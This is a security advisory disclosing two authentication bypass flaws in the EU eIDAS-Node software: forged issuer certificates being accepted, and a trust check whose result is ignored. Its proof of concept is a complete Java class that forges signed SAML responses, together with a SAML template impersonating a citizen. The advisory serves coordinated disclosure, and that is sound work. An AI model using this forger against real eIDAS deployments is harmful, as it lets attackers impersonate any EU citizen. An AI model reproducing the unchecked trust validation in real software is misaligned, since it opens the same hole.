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SEC Consult Vulnerability Lab Security Advisory < 20191029-0 >  
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title: Authentication Bypass  
product: eIDAS-Node  
vulnerable version: <=v2.3 (v2.1 vulnerability #2)  
fixed version: v2.3.1  
CVE number: -  
impact: critical  
homepage: https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/eIDAS-Node+Integration+Package  
found: 2019-06  
by: Wolfgang Ettlinger (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"The eIDAS-Node software is a sample implementation of the eID eIDAS Profile. It  
was developed by the European Commission with the help of Member States  
collaborating in the technical sub-committee of the eIDAS Expert Group. The  
eIDAS-Node software contains the necessary modules to help Member States to  
communicate with other eIDAS-compliant counterparts in a centralised or  
distributed fashion."  
  
URL: https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/eIDAS-Node+Integration+Package  
  
  
Business recommendation:  
------------------------  
During a short crash test SEC Consult identified critical vulnerabilities in  
the eIDAS-Node software component (EU cross-border authentication). These  
vulnerabilities could allow an attacker to impersonate any EU citizen.  
  
SEC Consult recommends to immediately apply the patch provided by the vendor,  
if this has not happened yet.  
Moreover, SEC Consult recommends operators of eIDAS-Node installations to  
conduct a forensic investigation into whether this vulnerability has already  
been abused.  
  
  
Vulnerability overview/description:  
-----------------------------------  
The communication between eIDAS Member States (MS) is based on SAML. The  
eIDAS node of an MS providing a service to citizens of another MS sends a  
SAML AuthNRequest to an eIDAS node that is capable of authenticating the citizen  
through her national authentication scheme (e.g. id card authentication).  
  
After the citizen has successfully authenticated, a SAML response is sent to the  
requesting eIDAS node. To verify the authenticity of the SAML response,  
eIDAS-Node verifies its signature and checks whether the signing certificate  
is trusted.  
  
Vulnerability #1: Certificate Faking  
The verification of the certificate trust is implemented as follows:  
1. The certificate is accepted if it is in the local trust store  
2. Otherwise the issuer certificate of the entity certificate is retrieved from  
either the local trust store or from the supplemental certificates in the  
SAML response.  
3. If a trust path can be established between the issuer certificate and a  
certificate in the trust store, the entity certificate is accepted.  
  
It was found that, in step 2, the application searches for the the issuer  
certificate by comparing the Issuer DN of the entity certificate to the Subject  
DN of the potential issuer certificates.  
  
The application does not verify whether the entity certificate has been  
correctly signed by the issuer certificate. Moreover, other checks, such as  
whether the basic constraints of the issuer certificate allow it to act as a  
certificate issuer are not verified.  
  
An attacker can therefore sign a manipulated SAML response with a forged  
certificate. The certificate must contain an Issuer DN that matches the subject  
of a certificate in the trust store. The subject must contain the country of  
the citizen (e.g. CN=FAKE, C=AT).  
  
  
Vulnerability #2: Missing Certificate Validation  
At least version 2.1 of the software uses the OpenSAML class  
ExplicitKeyTrustEvaluator to check whether the signer certificate is trusted.  
The method validate(...) returns a boolean value indicating whether trust could  
be established. However, eIDAS-Node does not check the return value and  
continues processing the SAML response. As effectively, the certificate's trust  
is not verified, an attacker can sign the SAML response with any certificate.  
  
This advisory demonstrates vulnerabilities against the endpoint that processes  
SAML responses. Other endpoints (e.g. the ones that process SAML requests) are  
likely affected as well (this has only partly been verified).  
  
NOTE: The version 2.1 is no longer supported in favor of the version 2.3.1.  
  
  
Proof of concept:  
-----------------  
Vulnerability #1: Certificate Faking  
The following Java class demonstrates the attack:  
  
----- snip -----  
package com.sec_consult.eidas_node.autologin;  
  
import java.io.InputStream;  
import java.math.BigInteger;  
import java.net.URI;  
import java.security.InvalidKeyException;  
import java.security.KeyPair;  
import java.security.KeyPairGenerator;  
import java.security.PrivateKey;  
import java.security.PublicKey;  
import java.security.cert.X509Certificate;  
import java.util.Date;  
  
import javax.annotation.Nonnull;  
import javax.security.auth.x500.X500Principal;  
  
import org.apache.commons.lang.RandomStringUtils;  
import org.apache.xml.security.utils.EncryptionConstants;  
import org.bouncycastle.x509.X509V3CertificateGenerator;  
import org.opensaml.core.xml.config.XMLObjectProviderRegistrySupport;  
import org.opensaml.saml.saml2.core.AuthnRequest;  
import org.opensaml.saml.saml2.core.Response;  
import org.opensaml.security.x509.BasicX509Credential;  
import org.opensaml.security.x509.X509Credential;  
import org.opensaml.xmlsec.signature.KeyInfo;  
import org.opensaml.xmlsec.signature.Signature;  
import org.opensaml.xmlsec.signature.support.SignatureConstants;  
import org.opensaml.xmlsec.signature.support.Signer;  
  
import eu.eidas.auth.commons.xml.opensaml.OpenSamlHelper;  
import eu.eidas.auth.engine.core.impl.AbstractProtocolSigner;  
import eu.eidas.auth.engine.xml.opensaml.CertificateUtil;  
import eu.eidas.encryption.SAMLAuthnResponseEncrypter;  
import eu.eidas.engine.exceptions.EIDASSAMLEngineException;  
  
public class ResponseFaker {  
/**  
* Fake a response to an AuthnRequest  
*  
* @param request the request to be answered  
* @param encryptedResponse any original response (only needed  
* to get a valid issuer and the encryption certificate)  
* @param sp the URL of the requesting SP  
* @param auth the target of the AuthnRequest  
*/  
public String respondTo(String request, String encryptedResponse, URI sp,  
URI auth) throws Exception {  
AuthnRequest req = (AuthnRequest) OpenSamlHelper.unmarshall(request);  
Response originalResp = (Response) OpenSamlHelper  
.unmarshall(encryptedResponse);  
  
X509Certificate origSignCert = CertificateUtil.toCertificate(  
originalResp.getSignature().getKeyInfo().getX509Datas().get(0)  
.getX509Certificates().get(0).getValue());  
X509Certificate encCert = CertificateUtil.toCertificate(  
originalResp.getEncryptedAssertions().get(0)  
.getEncryptedData().getKeyInfo().getEncryptedKeys().get(0)  
.getKeyInfo().getX509Datas().get(0)  
.getX509Certificates().get(0).getValue());  
  
String country = CertificateUtil.getCountry(origSignCert);  
  
X500Principal subject = new X500Principal(  
String.format("CN=FAKE, C=%s", country));  
X500Principal issuer = origSignCert.getIssuerX500Principal();  
  
BasicX509Credential signCredentials = createSignCredentials(issuer,  
subject);  
  
return createResponse(req.getID(), encCert, signCredentials,  
sp.toString(), auth.toString(), country);  
}  
  
@SuppressWarnings("deprecation")  
private BasicX509Credential createSignCredentials(X500Principal issuerDn,  
X500Principal subjectDn) {  
try {  
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");  
kpg.initialize(1024);  
KeyPair keyPair = kpg.generateKeyPair();  
  
PublicKey publicKey = keyPair.getPublic();  
PrivateKey privateKey = keyPair.getPrivate();  
  
X509V3CertificateGenerator certGen =  
new X509V3CertificateGenerator();  
certGen.setSerialNumber(new BigInteger("123"));  
certGen.setIssuerDN(issuerDn);  
certGen.setSubjectDN(subjectDn);  
certGen.setNotBefore(new Date(0));  
certGen.setNotAfter(new Date(2099, 1, 1));  
certGen.setPublicKey(publicKey);  
certGen.setSignatureAlgorithm("SHA256WithRSA");  
  
return new BasicX509Credential(certGen.generate(privateKey),  
privateKey);  
} catch (Exception e) {  
throw new RuntimeException(e);  
}  
}  
  
private String createResponse(String inResponseTo,  
X509Certificate encCertificate,  
BasicX509Credential signCredentials, String spPrefix,  
String authPrefix, String country) throws Exception {  
String template;  
try (InputStream is = this.getClass().getClassLoader()  
.getResourceAsStream("template.xml")) {  
template = new String(is.readAllBytes());  
}  
  
template = template.replace("%SP_PREFIX%", spPrefix);  
template = template.replace("%AUTH_PREFIX%", authPrefix);  
template = template.replace("%COUNTRY%", country);  
  
Response response = (Response) OpenSamlHelper.unmarshall(template);  
response.setID(RandomStringUtils.randomAlphabetic(20));  
response.setInResponseTo(inResponseTo);  
  
SAMLAuthnResponseEncrypter sre = SAMLAuthnResponseEncrypter.builder()  
.dataEncryptionAlgorithm(  
EncryptionConstants.ALGO_ID_BLOCKCIPHER_AES256_GCM)  
.keyEncryptionAlgorithm(  
EncryptionConstants.ALGO_ID_KEYTRANSPORT_RSAOAEP)  
.build();  
  
response = sre.encryptSAMLResponse(response,  
new BasicX509Credential(encCertificate), true);  
  
Signature signature = createSignature(signCredentials, false);  
response.setSignature(signature);  
  
XMLObjectProviderRegistrySupport.getMarshallerFactory()  
.getMarshaller(response).marshall(response);  
  
Signer.signObject(signature);  
  
return new String(OpenSamlHelper.marshall(response));  
}  
  
// from  
// eu.eidas.auth.engine.core.impl.AbstractProtocolSigner  
// .createSignature(X509Credential, boolean)  
private Signature createSignature(@Nonnull X509Credential credential,  
boolean onlyKeyInfoNoCert)  
throws EIDASSAMLEngineException {  
Signature signature;  
  
signature = (Signature) XMLObjectProviderRegistrySupport  
.getBuilderFactory()  
.getBuilder(Signature.DEFAULT_ELEMENT_NAME)  
.buildObject(Signature.DEFAULT_ELEMENT_NAME);  
  
signature.setSigningCredential(credential);  
  
signature.setSignatureAlgorithm(  
"http://www.w3.org/2001/04/xmldsig-more#rsa-sha512");  
  
KeyInfo keyInfo = AbstractProtocolSigner  
.createKeyInfo(credential, onlyKeyInfoNoCert);  
  
signature.setKeyInfo(keyInfo);  
signature.setCanonicalizationAlgorithm(  
SignatureConstants.ALGO_ID_C14N_EXCL_OMIT_COMMENTS);  
return signature;  
}  
}  
----- snip -----  
  
The following SAML response was used as a template:  
  
----- snip -----  
<saml2p:Response  
xmlns:ds="http://www.w3.org/2000/09/xmldsig#"  
xmlns:eidas="http://eidas.europa.eu/attributes/naturalperson"  
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"  
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"  
Consent="urn:oasis:names:tc:SAML:2.0:consent:obtained"  
Destination="%SP_PREFIX%/EidasNode/ColleagueResponse"  
ID="replace"  
InResponseTo="replace"  
IssueInstant="2000-01-01T00:00:00.000Z" Version="2.0">  
<saml2:Issuer  
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">  
%AUTH_PREFIX%/EidasNode/ServiceMetadata</saml2:Issuer>  
<saml2p:Status>  
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />  
<saml2p:StatusMessage>  
urn:oasis:names:tc:SAML:2.0:status:Success  
</saml2p:StatusMessage>  
</saml2p:Status>  
<saml2:Assertion  
xmlns:eidas-legal="http://eidas.europa.eu/attributes/legalperson"  
xmlns:eidas-natural="http://eidas.europa.eu/attributes/naturalperson"  
ID="test"  
IssueInstant="2000-01-01T00:00:00.000Z" Version="2.0">  
<saml2:Issuer  
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">  
%AUTH_PREFIX%/EidasNode/ServiceMetadata</saml2:Issuer>  
<saml2:Subject>  
<saml2:NameID  
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"  
NameQualifier="http://C-PEPS.gov.xx">0123456</saml2:NameID>  
<saml2:SubjectConfirmation  
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">  
<saml2:SubjectConfirmationData  
Address="0.0.0.0"  
NotOnOrAfter="2030-01-01T00:00:00.000Z"  
Recipient="%AUTH_PREFIX%/EidasNode/ColleagueResponse" />  
</saml2:SubjectConfirmation>  
</saml2:Subject>  
<saml2:Conditions  
NotBefore="2000-01-01T00:00:00.000Z"  
NotOnOrAfter="2030-01-01T00:00:00.000Z">  
<saml2:AudienceRestriction>  
<saml2:Audience>  
%SP_PREFIX%/EidasNode/ConnectorMetadata  
</saml2:Audience>  
</saml2:AudienceRestriction>  
</saml2:Conditions>  
<saml2:AuthnStatement  
AuthnInstant="2000-01-01T00:00:00.000Z">  
<saml2:AuthnContext>  
<saml2:AuthnContextClassRef>  
http://eidas.europa.eu/LoA/high  
</saml2:AuthnContextClassRef>  
<saml2:AuthnContextDecl />  
</saml2:AuthnContext>  
</saml2:AuthnStatement>  
<saml2:AttributeStatement>  
<saml2:Attribute FriendlyName="LegalName"  
Name="http://eidas.europa.eu/attributes/legalperson/LegalName"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:type="eidas-legal:LegalNameType">  
Johann Wolfgang von Goethe  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="LegalPersonIdentifier"  
Name="http://eidas.europa.eu/attributes/legalperson/LegalPersonIdentifier"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:type="eidas-legal:LegalPersonIdentifierType">  
%COUNTRY%/%COUNTRY%/12345  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="FamilyName"  
Name="http://eidas.europa.eu/attributes/naturalperson/CurrentFamilyName"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:type="eidas-natural:CurrentFamilyNameType">  
Goethe  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="FirstName"  
Name="http://eidas.europa.eu/attributes/naturalperson/CurrentGivenName"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:type="eidas-natural:CurrentGivenNameType">  
Johann Wolfgang  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="DateOfBirth"  
Name="http://eidas.europa.eu/attributes/naturalperson/DateOfBirth"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:type="eidas-natural:DateOfBirthType">  
1749-08-28  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute FriendlyName="PersonIdentifier"  
Name="http://eidas.europa.eu/attributes/naturalperson/PersonIdentifier"  
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">  
<saml2:AttributeValue  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:type="eidas-natural:PersonIdentifierType">  
%COUNTRY%/%COUNTRY%/12345  
</saml2:AttributeValue>  
</saml2:Attribute>  
</saml2:AttributeStatement>  
</saml2:Assertion>  
</saml2p:Response>  
----- snip -----  
  
  
Vulnerability #2: Missing Certificate Validation  
The following listing shows an excerpt of the method  
eu.eidas.auth.engine.xml.opensaml.CertificateUtil.checkExplicitTrust(...):  
  
public static void checkExplicitTrust(...)  
throws CertificateException {  
[...]  
final ExplicitKeyTrustEvaluator keyTrustEvaluator =  
new ExplicitKeyTrustEvaluator();  
  
keyTrustEvaluator.validate(  
entityX509Cred,  
(Iterable<Credential>) trustedCredentials);  
}  
  
As the return value of the validate method is not processed, any certificate  
would be found valid. Therefore, with minor changes the exploit for  
vulnerability #1 also works to exploit this scenario for version 2.1 (the  
second parameter for sre.encryptSAMLResponse has to be set to false).  
  
  
Vulnerable / tested versions:  
-----------------------------  
The version 2.3 was found to be vulnerable for vulnerability #1. This was the  
latest version at the time of discovery.  
  
Version 2.1 was found to be vulnerable to vulnerability #2.  
  
  
Vendor contact timeline:  
------------------------  
2019-07-04: Contacting vendor through CEF-EID-SUPPORT AT ec.europa.eu  
2019-07-09: Vendor asking for general information about vulnerability (affected  
branch and modules)  
2019-07-10: Providing requested information  
2019-07-15: Vendor provided S/MIME certificates  
2019-07-16: Sending encrypted advisory  
2019-07-25: Vendor confirmed vulnerabilities, patch planned for v2.3.1,  
vulnerability #2 has already been fixed before in v2.2  
2019-08-01: Vendor: vulnerability was fixed, patch privately shared with  
affected parties, asked for postponing the release due to  
deployment timing in affected parties  
2019-08-05: Asking for proposed new release date  
2019-08-05: Vendor proposed 2019-09-20 as release date, SEC Consult proposed  
2019-09-24 as new date  
2019-08-08: Vendor: v2.3.1 has been released privately to MS  
2019-09-02: Informing CERT.at and CERT-Bund about the security issues  
2019-09-09: Due to delays in deployment by affected parties, vendor proposes  
new release date of 2019-10-29  
2019-10-16: Vendor confirms release date  
2019-10-22: Sending preliminary blog post and advisory to vendor  
2019-10-24: Conference call to discuss blog post and advisory with vendor  
2019-10-29: Public release of the advisory  
  
  
Solution:  
---------  
Upgrade to the latest version 2.3.1.  
  
The updated version can be downloaded here:  
https://ec.europa.eu/cefdigital/wiki/display/CEFDIGITAL/All+releases  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
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EOF Wolfgang Ettlinger / @2019